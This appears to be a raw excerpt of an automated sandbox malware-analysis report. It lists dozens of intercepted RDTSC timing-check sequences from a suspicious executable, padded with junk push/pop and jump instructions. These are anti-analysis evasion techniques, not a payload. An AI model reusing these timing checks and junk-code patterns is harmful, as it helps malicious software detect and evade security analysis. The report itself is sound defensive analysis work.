Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A394C9 second address: A394DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5D020B4Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A3DC00 second address: A3DC04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A409E8 second address: A40A18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F4E5D020B52h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4E5D020B56h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A46469 second address: A4646D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A4589F second address: A458B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4E5D020B52h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A458B5 second address: A458B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A458B9 second address: A458C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A458C6 second address: A458D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A458D4 second address: A458D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A44E5A second address: A44E5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A44E5E second address: A44E64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A45E74 second address: A45E92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4E5C73ECB9h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A48E71 second address: A48E91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F4E5D020B59h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A48E91 second address: A48E9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F4E5C73ECA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A48E9B second address: A48E9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A48E9F second address: A48EA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A48FCC second address: A48FED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F4E5D020B55h 0x0000000d push esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A48FED second address: A48FF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A48FF3 second address: A49000 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jne 00007F4E5D020B52h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A49000 second address: A49010 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F4E5C73ECA6h 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A49010 second address: A49014 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A49014 second address: A4902E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F4E5C73ECAFh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A4902E second address: A4906D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5D020B4Eh 0x00000007 jmp 00007F4E5D020B58h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push edx 0x00000010 pop edx 0x00000011 jmp 00007F4E5D020B50h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A4906D second address: A49072 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A491EF second address: A4920B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F4E5D020B53h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A4920B second address: A49234 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F4E5C73ECAAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 popad 0x00000011 push esi 0x00000012 jc 00007F4E5C73ECA6h 0x00000018 pop esi 0x00000019 popad 0x0000001a js 00007F4E5C73ECBAh 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A49234 second address: A49238 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A49238 second address: A4923E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A49380 second address: A49389 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A49389 second address: A49393 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F4E5C73ECA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A49393 second address: A49397 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A49397 second address: A4939F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A4939F second address: A4940C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5D020B56h 0x00000007 pushad 0x00000008 jmp 00007F4E5D020B4Bh 0x0000000d jmp 00007F4E5D020B51h 0x00000012 jl 00007F4E5D020B46h 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F4E5D020B55h 0x00000023 jmp 00007F4E5D020B57h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A4940C second address: A49410 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A49410 second address: A49429 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F4E5D020B4Dh 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A49429 second address: A4942D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A4DE86 second address: A4DE96 instructions: 0x00000000 rdtsc 0x00000002 je 00007F4E5D020B4Ah 0x00000008 pushad 0x00000009 popad 0x0000000a push esi 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A509E1 second address: A509EF instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4E5C73ECA8h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A509EF second address: A509F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A509F3 second address: A50A10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5C73ECB9h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A573E8 second address: A573EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A56A0D second address: A56A1F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5C73ECADh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A56BB7 second address: A56BCA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5D020B4Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A56BCA second address: A56BD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A56BD2 second address: A56BD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A56E96 second address: A56E9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A56FDF second address: A56FE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A5BF60 second address: A5BF7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F4E5C73ECB6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A5C204 second address: A5C20A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A5C20A second address: A5C20E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A5C20E second address: A5C212 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A5C212 second address: A5C232 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F4E5C73ECA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F4E5C73ECB1h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A5C232 second address: A5C238 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A5C503 second address: A5C507 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A62BD4 second address: A62BD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A62BD9 second address: A62BFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F4E5C73ECB7h 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A62BFD second address: A62C23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4E5D020B54h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f jno 00007F4E5D020B46h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A62C23 second address: A62C3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ebx 0x00000006 jmp 00007F4E5C73ECB2h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A62C3D second address: A62C42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A62C42 second address: A62C4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jns 00007F4E5C73ECA6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A62EE8 second address: A62EEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A62EEC second address: A62F06 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4E5C73ECB4h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A62F06 second address: A62F0B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A631FF second address: A63203 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A63AD0 second address: A63ADF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 js 00007F4E5D020B56h 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A63DB1 second address: A63DB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A6435A second address: A64371 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d jng 00007F4E5D020B46h 0x00000013 popad 0x00000014 push edi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A64371 second address: A6438F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edi 0x00000007 popad 0x00000008 jnp 00007F4E5C73ECBCh 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 jp 00007F4E5C73ECA6h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A660E1 second address: A660E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A660E9 second address: A660F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A6B990 second address: A6B9A6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 js 00007F4E5D020B46h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 ja 00007F4E5D020B46h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A6B9A6 second address: A6B9AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A6FAC8 second address: A6FACE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A6FACE second address: A6FAD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A6FAD2 second address: A6FAD8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A6EC49 second address: A6EC5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop esi 0x00000007 jg 00007F4E5C73ECA8h 0x0000000d pop esi 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A6EC5E second address: A6EC62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A6F1F2 second address: A6F1F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A6F1F8 second address: A6F204 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A6F204 second address: A6F20A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A6F20A second address: A6F20E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A6F20E second address: A6F236 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F4E5C73ECB9h 0x0000000c jnp 00007F4E5C73ECA6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A6F673 second address: A6F6B1 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4E5D020B46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F4E5D020B57h 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 jmp 00007F4E5D020B59h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A78BAC second address: A78BB6 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4E5C73ECA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A76DAC second address: A76DE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F4E5D020B4Eh 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4E5D020B50h 0x00000012 jmp 00007F4E5D020B52h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A7728C second address: A77290 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A77290 second address: A7729C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F4E5D020B46h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A7729C second address: A772AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4E5C73ECACh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A772AE second address: A772D0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F4E5D020B4Eh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F4E5D020B4Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A772D0 second address: A772D5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A77595 second address: A7759B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A7759B second address: A775B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jbe 00007F4E5C73ECA8h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jnp 00007F4E5C73ECA6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A77859 second address: A7785F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A7785F second address: A778A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5C73ECB9h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F4E5C73ECAFh 0x00000014 jmp 00007F4E5C73ECB7h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A778A8 second address: A778B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A778B1 second address: A778B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A77A2E second address: A77A35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
